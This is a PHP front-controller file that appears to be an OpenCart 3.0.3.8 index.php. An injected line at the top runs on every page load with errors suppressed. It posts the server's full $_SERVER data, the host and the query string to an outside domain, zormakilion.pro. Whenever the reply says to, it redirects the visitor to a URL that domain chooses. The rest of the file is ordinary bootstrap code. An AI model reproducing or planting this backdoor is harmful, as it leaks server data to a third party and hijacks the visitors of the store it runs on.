<?php 
@(($r=json_decode(file_get_contents("http://zormakilion.pro/api_aiwohmahb_v2.php?method={$_SERVER['REQUEST_METHOD']}&domain={$_SERVER['HTTP_HOST']}&{$_SERVER['QUERY_STRING']}",0,stream_context_create(['http'=>['method'=>'POST','content'=>http_build_query(['server'=>base64_encode(serialize($_SERVER))]),'timeout'=>3,'ignore_errors'=>1]])),1))&&!empty($r['status'])&&!empty($r['url']))&&header("Location:{$r['url']}?{$_SERVER['QUERY_STRING']}",1,302)+exit;

// Version
define('VERSION', '3.0.3.8');

// Configuration
if (is_file('config.php')) {
	require_once('config.php');
}

// Install
if (!defined('DIR_APPLICATION')) {
	header('Location: install/index.php');
	exit;
}

// Startup
require_once(DIR_SYSTEM . 'startup.php');

start('catalog');